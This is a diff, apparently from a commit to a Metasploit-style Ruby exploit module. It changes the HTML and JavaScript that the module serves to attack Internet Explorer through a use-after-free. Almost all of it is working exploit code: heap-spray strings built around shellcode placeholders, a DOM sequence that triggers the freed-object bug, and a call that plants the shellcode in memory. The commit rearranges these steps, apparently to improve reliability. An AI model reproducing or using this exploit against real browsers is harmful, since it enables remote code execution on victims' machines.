@@ -222,7 +222,6 @@ def load_exploit_html(my_target, cli)
222
222
<meta>
223
223
<?IMPORT namespace="t" implementation="#default#time2">
224
224
</meta>
225
-
226
225
<script>
227
226
#{ js_mstime_malloc }
228
227
@@ -234,43 +233,36 @@ def load_exploit_html(my_target, cli)
234
233
}
235
234
sparkle += unescape("AB");
236
235
sparkle += unescape("#{ js_payload } ");
237
-
238
236
magenta = unescape("#{ align_esp } ");
239
-
240
237
for (i=0; i < 0x70/4; i++) {
241
238
if (i == 0x70/4-1) { magenta += unescape("#{ xchg_esp } "); }
242
239
else { magenta += unescape("#{ align_esp } "); }
243
240
}
244
-
245
241
magenta += sparkle;
246
242
243
+ document.body.contentEditable="true";
247
244
f0 = document.createElement('span');
248
- document.body.appendChild(f0);
249
245
f1 = document.createElement('span');
250
- document.body.appendChild(f1);
251
246
f2 = document.createElement('span');
247
+ document.body.appendChild(f0);
248
+ document.body.appendChild(f1);
252
249
document.body.appendChild(f2);
253
- document.body.contentEditable="true";
250
+ for (i=0; i < 20; i++) { document.createElement("img"); }
254
251
f2.appendChild(document.createElement('datalist'));
255
252
f1.appendChild(document.createElement('span'));
253
+ CollectGarbage();
256
254
f1.appendChild(document.createElement('table'));
257
-
258
255
try { f0.offsetParent=null;}
259
256
catch(e) { }
260
-
261
257
f2.innerHTML = "";
262
- f0.appendChild(document.createElement('hr'));
263
258
f1.innerHTML = "";
264
-
265
- CollectGarbage();
259
+ f0.appendChild(document.createElement('hr'));
266
260
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
267
261
}
268
-
269
262
</script>
270
263
</head>
271
264
<body onload="eval(helloWorld());">
272
265
<t:ANIMATECOLOR id="myanim"/>
273
-
274
266
</body>
275
267
</html>
276
268
|
0 commit comments